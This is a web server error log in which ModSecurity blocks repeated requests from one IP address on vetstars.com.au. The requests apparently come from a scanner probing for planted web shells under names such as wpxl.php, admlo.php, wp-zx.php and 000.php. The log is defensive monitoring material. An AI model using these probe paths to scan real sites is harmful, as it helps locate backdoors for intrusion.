[Fri Apr 24 16:58:38.749122 2026] [:error] [pid 22114:tid 22138] [client 51.103.42.147:58403] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "aeswvoAuWGz3WlMQjofEoQAAARU"]
[Fri Apr 24 16:58:39.737109 2026] [:error] [pid 14531:tid 14540] [client 51.103.42.147:30103] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "aeswv3fLU2gw-6KR-GaEbQAAAUc"]
[Fri Apr 24 16:58:42.219620 2026] [:error] [pid 22114:tid 22119] [client 51.103.42.147:50320] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "aeswwoAuWGz3WlMQjofEqAAAAQI"]
[Fri Apr 24 16:58:43.398152 2026] [:error] [pid 17719:tid 17747] [client 51.103.42.147:47527] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "aesww8TZ9gzEyL1BkPp54AAAAJQ"]
[Fri Apr 24 16:58:43.932820 2026] [:error] [pid 17719:tid 17749] [client 51.103.42.147:55382] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "aesww8TZ9gzEyL1BkPp54gAAAJY"]
[Fri Apr 24 16:58:45.965804 2026] [:error] [pid 17719:tid 17735] [client 51.103.42.147:34251] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "aeswxcTZ9gzEyL1BkPp55gAAAIg"]
[Fri Apr 24 16:58:47.386370 2026] [:error] [pid 17720:tid 17758] [client 51.103.42.147:56828] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aeswx-hlUs6BS3Ng7_U6VAAAAMQ"]
[Fri Apr 24 16:58:49.144596 2026] [:error] [pid 17721:tid 17805] [client 51.103.42.147:30649] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aeswyeFXXkLeyDnfk_8DWQAAABg"]
[Fri Apr 24 16:58:50.449495 2026] [:error] [pid 17721:tid 17804] [client 51.103.42.147:50357] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aeswyuFXXkLeyDnfk_8DXgAAABc"]
[Fri Apr 24 16:58:51.191355 2026] [:error] [pid 17721:tid 17795] [client 51.103.42.147:52078] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aeswy-FXXkLeyDnfk_8DYQAAAA4"]
[Fri Apr 24 16:58:52.046541 2026] [:error] [pid 17721:tid 17805] [client 51.103.42.147:55362] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ptanf.php"] [unique_id "aeswzOFXXkLeyDnfk_8DZgAAABg"]
[Fri Apr 24 17:00:33.435539 2026] [:error] [pid 14531:tid 14537] [client 51.103.42.147:56893] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aesxMXfLU2gw-6KR-GaFDgAAAUQ"]
[Fri Apr 24 17:00:34.098576 2026] [:error] [pid 17808:tid 17831] [client 51.103.42.147:57320] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aesxMuarbOEFI8qshvLgQwAAAFU"]
[Fri Apr 24 17:00:34.801792 2026] [:error] [pid 17808:tid 17817] [client 51.103.42.147:46295] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aesxMuarbOEFI8qshvLgTAAAAEc"]
[Fri Apr 24 17:00:35.620637 2026] [:error] [pid 17808:tid 17829] [client 51.103.42.147:46276] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aesxM-arbOEFI8qshvLgUwAAAFM"]
[Fri Apr 24 17:00:38.442122 2026] [:error] [pid 17808:tid 17832] [client 51.103.42.147:34300] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/masks.php"] [unique_id "aesxNuarbOEFI8qshvLgXQAAAFY"]
[Fri Apr 24 17:00:39.223007 2026] [:error] [pid 22114:tid 22134] [client 51.103.42.147:48509] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/masks.php"] [unique_id "aesxN4AuWGz3WlMQjofFCwAAARE"]
[Fri Apr 24 17:00:40.644228 2026] [:error] [pid 17808:tid 17825] [client 51.103.42.147:57395] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/masks.php"] [unique_id "aesxOOarbOEFI8qshvLgZwAAAE8"]
[Fri Apr 24 17:00:41.613732 2026] [:error] [pid 17720:tid 17773] [client 51.103.42.147:34244] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/masks.php"] [unique_id "aesxOehlUs6BS3Ng7_U7JAAAANM"]
[Fri Apr 24 17:00:42.482034 2026] [:error] [pid 17808:tid 17815] [client 51.103.42.147:46320] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aesxOuarbOEFI8qshvLgcAAAAEU"]
[Fri Apr 24 17:00:43.810575 2026] [:error] [pid 17720:tid 17768] [client 51.103.42.147:57365] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aesxO-hlUs6BS3Ng7_U7KQAAAM4"]
[Fri Apr 24 17:00:44.780573 2026] [:error] [pid 17808:tid 17817] [client 51.103.42.147:58416] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aesxPOarbOEFI8qshvLgdQAAAEc"]
[Fri Apr 24 17:00:45.757054 2026] [:error] [pid 17720:tid 17773] [client 51.103.42.147:48497] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aesxPehlUs6BS3Ng7_U7LgAAANM"]
[Fri Apr 24 17:00:46.618485 2026] [:error] [pid 17720:tid 17759] [client 51.103.42.147:50363] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aesxPuhlUs6BS3Ng7_U7NAAAAMU"]
[Fri Apr 24 17:00:47.503087 2026] [:error] [pid 17720:tid 17771] [client 51.103.42.147:57340] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aesxP-hlUs6BS3Ng7_U7OwAAANE"]
[Fri Apr 24 17:00:48.704012 2026] [:error] [pid 17720:tid 17759] [client 51.103.42.147:56811] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aesxQOhlUs6BS3Ng7_U7PwAAAMU"]
[Fri Apr 24 17:00:50.201745 2026] [:error] [pid 17720:tid 17762] [client 51.103.42.147:48488] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aesxQuhlUs6BS3Ng7_U7SQAAAMg"]
[Fri Apr 24 17:00:51.029682 2026] [:error] [pid 17720:tid 17774] [client 51.103.42.147:30602] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aesxQ-hlUs6BS3Ng7_U7TwAAANQ"]
[Fri Apr 24 17:00:52.528940 2026] [:error] [pid 17721:tid 17803] [client 51.103.42.147:46310] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aesxROFXXkLeyDnfk_8D9AAAABY"]
[Fri Apr 24 17:00:53.248441 2026] [:error] [pid 14531:tid 14538] [client 51.103.42.147:47488] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aesxRXfLU2gw-6KR-GaFIAAAAUU"]
[Fri Apr 24 17:00:54.223532 2026] [:error] [pid 17719:tid 17745] [client 51.103.42.147:46279] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aesxRsTZ9gzEyL1BkPp6VgAAAJI"]
[Fri Apr 24 17:00:55.138500 2026] [:error] [pid 17720:tid 17766] [client 51.103.42.147:34285] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aesxR-hlUs6BS3Ng7_U7WAAAAMw"]
[Fri Apr 24 17:00:55.819432 2026] [:error] [pid 17721:tid 17794] [client 51.103.42.147:56785] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aesxR-FXXkLeyDnfk_8D-AAAAA0"]
[Fri Apr 24 17:00:56.393448 2026] [:error] [pid 17721:tid 17781] [client 51.103.42.147:30628] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aesxSOFXXkLeyDnfk_8D-wAAAAA"]
[Fri Apr 24 17:00:57.520917 2026] [:error] [pid 14531:tid 14546] [client 51.103.42.147:48464] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aesxSXfLU2gw-6KR-GaFLwAAAU0"]
[Fri Apr 24 17:01:05.058967 2026] [:error] [pid 17719:tid 17738] [client 51.103.42.147:56781] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpconf.php"] [unique_id "aesxUcTZ9gzEyL1BkPp6bAAAAIs"]
[Fri Apr 24 17:01:05.780124 2026] [:error] [pid 17721:tid 17787] [client 51.103.42.147:52042] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpconf.php"] [unique_id "aesxUeFXXkLeyDnfk_8ECAAAAAY"]
[Fri Apr 24 17:01:06.594208 2026] [:error] [pid 14531:tid 14539] [client 51.103.42.147:62378] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpconf.php"] [unique_id "aesxUnfLU2gw-6KR-GaFMwAAAUY"]
[Fri Apr 24 17:01:08.363720 2026] [:error] [pid 14531:tid 14552] [client 51.103.42.147:46284] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpconf.php"] [unique_id "aesxVHfLU2gw-6KR-GaFNQAAAVM"]
[Fri Apr 24 17:01:09.188134 2026] [:error] [pid 17808:tid 17810] [client 51.103.42.147:48505] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aesxVearbOEFI8qshvLgmAAAAEA"]
[Fri Apr 24 17:01:09.908689 2026] [:error] [pid 22114:tid 22130] [client 51.103.42.147:58386] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aesxVYAuWGz3WlMQjofFLAAAAQ0"]
[Fri Apr 24 17:01:10.658925 2026] [:error] [pid 17721:tid 17781] [client 51.103.42.147:30116] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aesxVuFXXkLeyDnfk_8EEgAAAAA"]
[Fri Apr 24 17:01:11.950116 2026] [:error] [pid 17720:tid 17769] [client 51.103.42.147:57303] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aesxV-hlUs6BS3Ng7_U7ZAAAAM8"]
[Fri Apr 24 17:01:13.037788 2026] [:error] [pid 14531:tid 14547] [client 51.103.42.147:30621] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-zx.php"] [unique_id "aesxWXfLU2gw-6KR-GaFOQAAAU4"]
[Fri Apr 24 17:01:14.074572 2026] [:error] [pid 17719:tid 17741] [client 51.103.42.147:46318] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-zx.php"] [unique_id "aesxWsTZ9gzEyL1BkPp6dAAAAI4"]
[Fri Apr 24 17:01:15.678742 2026] [:error] [pid 17720:tid 17766] [client 51.103.42.147:30608] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-zx.php"] [unique_id "aesxW-hlUs6BS3Ng7_U7bQAAAMw"]
[Fri Apr 24 17:01:19.332710 2026] [:error] [pid 22114:tid 22117] [client 51.103.42.147:56823] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-zx.php"] [unique_id "aesxX4AuWGz3WlMQjofFNgAAAQA"]
[Fri Apr 24 17:01:20.572183 2026] [:error] [pid 22114:tid 22126] [client 51.103.42.147:56850] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aesxYIAuWGz3WlMQjofFOQAAAQk"]
[Fri Apr 24 17:01:21.815478 2026] [:error] [pid 17720:tid 17761] [client 51.103.42.147:32901] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aesxYehlUs6BS3Ng7_U7dAAAAMc"]
[Fri Apr 24 17:01:23.172502 2026] [:error] [pid 17808:tid 17820] [client 51.103.42.147:57322] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aesxY-arbOEFI8qshvLgpgAAAEo"]
[Fri Apr 24 17:01:25.483337 2026] [:error] [pid 17721:tid 17792] [client 51.103.42.147:56800] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aesxZeFXXkLeyDnfk_8EHAAAAAs"]
[Fri Apr 24 17:01:26.437679 2026] [:error] [pid 14531:tid 14542] [client 51.103.42.147:32945] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aesxZnfLU2gw-6KR-GaFRgAAAUk"]
[Fri Apr 24 17:01:27.589363 2026] [:error] [pid 17808:tid 17829] [client 51.103.42.147:50364] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aesxZ-arbOEFI8qshvLgsgAAAFM"]
[Fri Apr 24 17:01:28.553252 2026] [:error] [pid 17720:tid 17756] [client 51.103.42.147:58429] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aesxaOhlUs6BS3Ng7_U7ggAAAMI"]
[Fri Apr 24 17:01:29.383123 2026] [:error] [pid 17720:tid 17775] [client 51.103.42.147:32908] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aesxaehlUs6BS3Ng7_U7iQAAANU"]
[Fri Apr 24 17:03:54.579123 2026] [:error] [pid 17808:tid 17823] [client 51.103.42.147:30133] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aesx-uarbOEFI8qshvLhkgAAAE0"]
[Fri Apr 24 17:03:57.243751 2026] [:error] [pid 17808:tid 17815] [client 51.103.42.147:48481] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aesx_earbOEFI8qshvLhmgAAAEU"]
